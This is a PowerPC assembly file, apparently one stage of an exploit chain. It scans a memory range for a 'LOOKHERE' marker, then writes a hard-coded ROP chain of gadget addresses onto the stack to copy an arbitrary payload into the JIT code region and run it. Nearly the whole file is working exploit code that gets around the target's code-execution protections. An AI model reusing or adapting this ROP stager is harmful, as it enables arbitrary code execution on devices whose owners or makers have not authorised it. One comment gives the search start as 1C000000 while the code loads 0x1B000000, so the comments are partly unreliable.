You can not select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
197 lines
4.1 KiB
197 lines
4.1 KiB
# This is a program written in PPC to search address range 1C000000-1D000000
|
|
# for the magic "LOOKHERE", then load the code based on the format
|
|
|
|
#Format to load:
|
|
# struct PAYLOAD{
|
|
# char magic[8]; // "LOOKHERE"
|
|
# uint32 size; // Size of code
|
|
# byte code[size]; // Raw PPC to load
|
|
# }
|
|
|
|
#Set up register aliases to make the code more readable
|
|
.set r0, 0
|
|
.set r1, 1
|
|
.set r2, 2
|
|
.set r3, 3
|
|
.set r4, 4
|
|
.set r5, 5
|
|
.set r6, 6
|
|
.set r7, 7
|
|
.set r8, 8
|
|
.set r9, 9
|
|
.set r10, 10
|
|
.set r11, 11
|
|
.set r12, 12
|
|
.set r13, 13
|
|
.set r14, 14
|
|
.set r15, 15
|
|
.set r16, 16
|
|
.set r17, 17
|
|
.set r18, 18
|
|
.set r19, 19
|
|
.set r20, 20
|
|
.set r21, 21
|
|
.set r22, 22
|
|
.set r23, 23
|
|
.set r24, 24
|
|
.set r25, 25
|
|
.set r26, 26
|
|
.set r27, 27
|
|
.set r28, 28
|
|
.set r29, 29
|
|
.set r30, 30
|
|
.set r31, 31
|
|
|
|
#load address range to search
|
|
lis r7, 0x1B00 #r7 = 1C000000
|
|
lis r8, 0x1D00 #r8 = 1D000000
|
|
|
|
#Load "LOOK" in r9
|
|
lis r9, 0x4C4F
|
|
ori r9, r9, 0x4F4B
|
|
|
|
#Load "HERE" in r10
|
|
lis r10, 0x4845
|
|
ori r10, r10, 0x5245
|
|
|
|
loop_start:
|
|
#Check if the first word at r7 is equal to "LOOK" (r9)
|
|
lwz r11, 0(r7)
|
|
cmpw r11, r9
|
|
bne not_equal #If not, restart loop
|
|
|
|
#Check if second word at r7 is equal to "HERE" (r10)
|
|
lwz r11, 4(r7)
|
|
cmpw r11, r10
|
|
beq found #If so, exit the loop and load the code
|
|
|
|
#If "LOOKHERE" is not located at r7
|
|
not_equal:
|
|
#Increment by one word
|
|
addi r7, r7, 4
|
|
cmpw r7, r8 #Check if the counter (r7) is out of search range
|
|
bge not_found #If out of range, exit loop and kill program
|
|
b loop_start #If still in range, restart loop
|
|
|
|
|
|
found:
|
|
#Setup r11 as payloadSize and r7 as payloadAddress
|
|
lwz r11, 8(r7)
|
|
addi r7, r7, 0xC
|
|
|
|
#Set up ROP chain to copy our code to codegen (we can't be executing from JIT while copying to JIT)
|
|
#See ropChainToAsm.py for in-order ROP chain
|
|
li r10, 0x0000
|
|
stw r10, 0x0(r1)
|
|
stw r10, 0x8(r1)
|
|
stw r10, 0xC(r1)
|
|
stw r10, 0x10(r1)
|
|
stw r10, 0x14(r1)
|
|
stw r10, 0x18(r1)
|
|
stw r10, 0x24(r1)
|
|
stw r10, 0x28(r1)
|
|
stw r10, 0x2C(r1)
|
|
stw r10, 0x30(r1)
|
|
stw r10, 0x38(r1)
|
|
stw r10, 0x3C(r1)
|
|
stw r10, 0x40(r1)
|
|
stw r10, 0x44(r1)
|
|
stw r10, 0x48(r1)
|
|
stw r10, 0x50(r1)
|
|
stw r10, 0x54(r1)
|
|
stw r10, 0x58(r1)
|
|
stw r10, 0x60(r1)
|
|
stw r10, 0x70(r1)
|
|
stw r10, 0x78(r1)
|
|
stw r10, 0x80(r1)
|
|
stw r10, 0x84(r1)
|
|
stw r10, 0x88(r1)
|
|
stw r10, 0x8C(r1)
|
|
stw r10, 0x90(r1)
|
|
stw r10, 0x98(r1)
|
|
stw r10, 0x9C(r1)
|
|
stw r10, 0xA0(r1)
|
|
stw r10, 0xA4(r1)
|
|
stw r10, 0xA8(r1)
|
|
stw r10, 0xB8(r1)
|
|
stw r10, 0xBC(r1)
|
|
stw r10, 0xC0(r1)
|
|
stw r10, 0xC8(r1)
|
|
stw r10, 0xCC(r1)
|
|
stw r10, 0xD0(r1)
|
|
stw r10, 0xD4(r1)
|
|
stw r10, 0xD8(r1)
|
|
stw r10, 0xE0(r1)
|
|
stw r10, 0xE4(r1)
|
|
stw r10, 0xE8(r1)
|
|
stw r10, 0xEC(r1)
|
|
stw r10, 0xF0(r1)
|
|
stw r10, 0x100(r1)
|
|
stw r10, 0x108(r1)
|
|
stw r10, 0x110(r1)
|
|
stw r10, 0x114(r1)
|
|
stw r10, 0x118(r1)
|
|
stw r10, 0x11C(r1)
|
|
stw r10, 0x120(r1)
|
|
stw r10, 0x128(r1)
|
|
stw r10, 0x12C(r1)
|
|
stw r10, 0x130(r1)
|
|
stw r10, 0x134(r1)
|
|
stw r10, 0x138(r1)
|
|
stw r10, 0x148(r1)
|
|
stw r10, 0x150(r1)
|
|
stw r10, 0x158(r1)
|
|
li r10, 0x0001
|
|
stw r10, 0xB4(r1)
|
|
lis r10, 0x0102
|
|
ori r10, r10, 0x04C8
|
|
stw r10, 0x4(r1)
|
|
stw r10, 0x4C(r1)
|
|
stw r10, 0x94(r1)
|
|
stw r10, 0xDC(r1)
|
|
stw r10, 0x124(r1)
|
|
lis r10, 0x0102
|
|
ori r10, r10, 0x3F88
|
|
stw r10, 0xF8(r1)
|
|
lis r10, 0x0102
|
|
ori r10, r10, 0x40B0
|
|
stw r10, 0x140(r1)
|
|
lis r10, 0x0103
|
|
ori r10, r10, 0x5FC8
|
|
stw r10, 0x68(r1)
|
|
lis r10, 0x0103
|
|
ori r10, r10, 0x76C0
|
|
stw r10, 0x20(r1)
|
|
stw r10, 0xB0(r1)
|
|
lis r10, 0x0107
|
|
ori r10, r10, 0xDD70
|
|
stw r10, 0x1C(r1)
|
|
stw r10, 0x64(r1)
|
|
stw r10, 0xAC(r1)
|
|
stw r10, 0xF4(r1)
|
|
stw r10, 0x13C(r1)
|
|
lis r10, 0x0108
|
|
ori r10, r10, 0x0274
|
|
stw r10, 0x34(r1)
|
|
stw r10, 0x7C(r1)
|
|
stw r10, 0xC4(r1)
|
|
stw r10, 0x10C(r1)
|
|
stw r10, 0x154(r1)
|
|
lis r10, 0x0180
|
|
stw r10, 0x6C(r1)
|
|
stw r10, 0xFC(r1)
|
|
stw r10, 0x144(r1)
|
|
stw r10, 0x15C(r1)
|
|
stw r7, 0x74(r1)
|
|
stw r11, 0x5C(r1)
|
|
stw r11, 0x104(r1)
|
|
stw r11, 0x14C(r1)
|
|
|
|
#Start ROP
|
|
lwz r0, 0x4(r1)
|
|
mtlr r0
|
|
blr
|
|
|
|
not_found:
|
|
blr #RIP, no payload found
|